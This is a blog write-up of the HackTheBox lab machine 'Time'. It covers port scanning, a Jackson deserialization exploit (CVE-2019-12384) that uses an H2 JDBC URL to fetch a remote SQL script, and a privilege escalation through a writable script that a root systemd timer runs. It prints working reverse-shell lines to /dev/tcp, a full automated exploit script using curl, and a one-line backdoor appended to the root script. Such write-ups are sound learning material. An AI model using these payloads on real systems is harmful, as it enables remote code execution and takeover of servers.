Me - *technically not*

Matt

HTB - Time

A medium HackTheBox machine involving Jackson (JSON library) and system timers.

4 months ago | ca. 10min to read


A rather short medium box - initial foothold using an older CVE that could take a little time to find, final privesc using a script root runs for us. Considering all of this it was still an interesting machine.

table of contents

recon

nmap

First things first, as always, I kicked off an extensive port scan:

sudo nmap -vv -A -oA nmap/top 10.10.10.214
# Nmap 7.91 scan initiated Thu Feb 18 22:36:18 2021 as: nmap -vv -A -oA nmap/top 10.10.10.214
Increasing send delay for 10.10.10.214 from 0 to 5 due to 46 out of 151 dropped probes since last increase.
Nmap scan report for 10.10.10.214
Host is up, received echo-reply ttl 63 (0.15s latency).
Scanned at 2021-02-18 22:36:19 CET for 175s
Not shown: 998 closed ports
Reason: 998 resets
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 0f:7d:97:82:5f:04:2b:e0:0a:56:32:5d:14:56:82:d4 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDqO75jA9cYksdPP+eBZBYzvJERbVfExL7kXpMJQpmpHoJdl9EG/wSsXgEH4BXsa56Rv2i32ClI7QvykILEpL6JyhHi3xS8vlNud8CQCYCYNCiBzpa84ucBbLpFaR331qH3n1PNrlBjvH0g4jmlQjlKMHRNSjxOS5XjO3JMYFhBkI3tZKXuo9dg/0wHwXXbGa5gFihkrTkGqinaPRACYC8FCgQ3UUpUzjTUUwSLMMMMAUJX+WkqPiD3++VCSmQmJn4rtOQK2PNzesJQFrHk5BLj6J2gfLUkgvVu2dMVCYAJ8Pom+sYRLq5dkBdaXugjpFXGWFXxYjh57h21HVtkdAVyObBu4iNlZQNYNPpYKuLbmTKdEv86FMfw/g1ZasV1q53gEc4vWyWVQSkarHXPyMYTY1nsFEIvkhGl8CsuwS0HioWaBRsF/+jQF+5Zty43VWJuu+PanAIOelmxAHrfNm//XrIW7RjqCLEDj0MpUeK4KUMx7WPuyE10zpESpuqhtAU=
|   256 24:ea:53:49:d8:cb:9b:fc:d6:c4:26:ef:dd:34:c1:1e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCY27npy127v6WaSs6QO9MlX1RCjlp8ceQ0UyP6SfI+Q7UZrmg0qLFANnuqkm8iNio+TLTTOIAv5itdE0ahgzgE=
|   256 fe:25:34:e4:3e:df:9f:ed:62:2a:a4:93:52:cc:cd:27 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFy9CB1oSRwsAZJb6AMVD7/T0qxBk2G7/hV2Db57c0Kj
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 7D4140C76BF7648531683BFA4F7F8C22
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Online JSON parser
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=2/18%OT=22%CT=1%CU=36205%PV=Y%DS=2%DC=T%G=Y%TM=602EDE8
OS:3%P=x86_64-unknown-linux-gnu)SEQ(SP=FE%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A
OS:)SEQ(SP=FE%GCD=1%ISR=10C%TI=Z%CI=Z%TS=A)OPS(O1=M54DST11NW7%O2=M54DST11NW
OS:7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=FE88%
OS:W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M54DN
OS:NSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=
OS:Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=A
OS:R%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=4
OS:0%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=
OS:G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 11.370 days (since Sun Feb  7 13:45:44 2021)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=254 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 5900/tcp)
HOP RTT       ADDRESS
1   561.66 ms 10.10.14.1
2   503.90 ms 10.10.10.214

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Feb 18 22:39:15 2021 -- 1 IP address (1 host up) scanned in 176.53 seconds

... SSH is listening on port 22 and Apache on 80 - not too extraordinary. A full scan didn't present any more open ports.

web server

Visiting the website, we are greeted by an "Online JSON Beautifier & Validator":

... while the Beautify mode doesn't seem too interesting, the Validate (beta!) option, on the other hand, seems to be all the more promising. Simply entering {} already gives us some useable output:

Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object

... this tells us that whatever JSON we enter will most likely be parsed by the com.fasterxml.jackson Java library in the backend. Let's go find ourselves a CVE, shall we?

foothold

cves

Okay, I have to admit, it take me quite some time to finally discover the right CVE, since there were quite a lot of similar ones out there ... ^^

Anyway, simply searching MITRE for a term like fasterxml will return quite many results. This is cool and all, but trying many of them by hand is rather tedious. So... I narrowed it down a bit by searching this awesome list of CVE POCs instead. And ... the first one, CVE-2019-12384, already worked!

description

For purposes of learning and not being a script kiddie, I took a closer look at what the exploit is actually doing and why it works. Here's a short summary.

The first part of the epxloit the one actually abusing a Jackson deserialization flaw makes use of the "gadget" ch.qos.logback.core.db.DriverManagerConnectionSource which can be passed a JDBC URL in its "url" attribute:

["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.206:8000/inject.sql'"}]

... if the Jackson deserializer is used with default typing enabled, the DriverManagerConnectionSource will be initialized with the given JDBC URL, which will in turn download and execute the inject.sql script from the attacking machine.

Because the database in question is the H2 database, we can abuse its CREATE ALIAS to define and execute a Java function that opens up a reverse shell - the inject.sql could look something like ...

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('bash -i >& /dev/tcp/10.10.14.206/1337 0>&1')

exploit

To make exploitation simpler and easier to repeat, I decided to write a little bash script that would automate execution:

#!/bin/bash

LHOST="10.10.14.206"
LPORT=1337
WPORT=8000
PAYLD="inject.sql"

if [[ $# -lt 1 ]]; then
    echo "Usage: $0 <target-url>"
    exit 1
fi

if [[ $# -ge 2 ]]; then
    LPORT=$2
fi

if [[ ! -d "exploit" ]]; then
    mkdir exploit
fi

cd exploit

echo 'CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('"'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1')" > inject.sql

/usr/bin/env python3 -m http.server $WPORT &
pypid=$!

echo "Start a reverse shell listener on :$LPORT and press <ENTER> ... "
echo "-> nc -lvnp $LPORT"
read

curl -X POST -d "mode=2&data=%5B%22ch.qos.logback.core.db.DriverManagerConnectionSource%22,%20%7B%22url%22:%22jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT%20FROM%20'http://$LHOST:$WPORT/$PAYLD'%22%7D%5D" --max-time 30 $1 >/dev/null

kill $pypid

... after executing it, we are presented with a reverse shell and can get the user flag:

cat ~/user.txt
6c0*****************************

enumeration

linpeas

Transferring linpeas.sh to the target machine and executing it reveals some rather interesting facts.

Several lines of the enumerations script output will tell you that there is an interesting writeable file in /usr/bin/timer_backup.sh, furthermore, in the "System Timers" section we can notice that the top timer has a rather similar name:

[+] System timers                                                                 
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#timers                                                                                               
NEXT                        LEFT          LAST                        PASSED               UNIT                         ACTIVATES                     
Sat 2021-02-20 23:14:01 UTC 4s left       Sat 2021-02-20 23:13:51 UTC 5s ago               timer_backup.timer           timer_backup.service

... taking a look at this timer/service in /etc/systemd/system/timer_backup.[timer|service] points us to yet another file - /etc/systemd/system/web_backup.service:

cat /etc/systemd/system/timer_backup.*
[Unit]
Description=Creates backups of the website

[Service]
ExecStart=/bin/bash /usr/bin/timer_backup.sh
pericles@time:/dev/shm$ cat /etc/systemd/system/timer_backup.*
[Unit]
Description=Calls website backup
Wants=timer_backup.timer
WantedBy=multi-user.target

[Service]
ExecStart=/usr/bin/systemctl restart web_backup.service
[Unit]
Description=Backup of the website
Requires=timer_backup.service

[Timer]
Unit=timer_backup.service
#OnBootSec=10s
#OnUnitActiveSec=10s
OnUnitInactiveSec=10s
AccuracySec=1ms

[Install]
WantedBy=timers.target

... and taking a look at that ...

cat /etc/systemd/system/web_backup.sh
[Unit]
Description=Creates backups of the website

[Service]
ExecStart=/bin/bash /usr/bin/timer_backup.sh

... it circles back to the intersting file /usr/bin/timer_backup.sh - which we can edit!

privesc

The discoveries made during enumeration make privesc rather trivial - simply append a line to spawn a reverse shell to the bash script that is run as root in periodical intervals:

echo 'bash -c "bash -i >& /dev/tcp/10.10.14.206/4443 0>&1"' >> /usr/bin/timer_backup.sh

... even though the shell isn't all too stable, it still provides us with more than enough time to retrieve the root flag:

cat ~/root.txt
ea1*****************************

further reading

© 2021 Matthias Monschein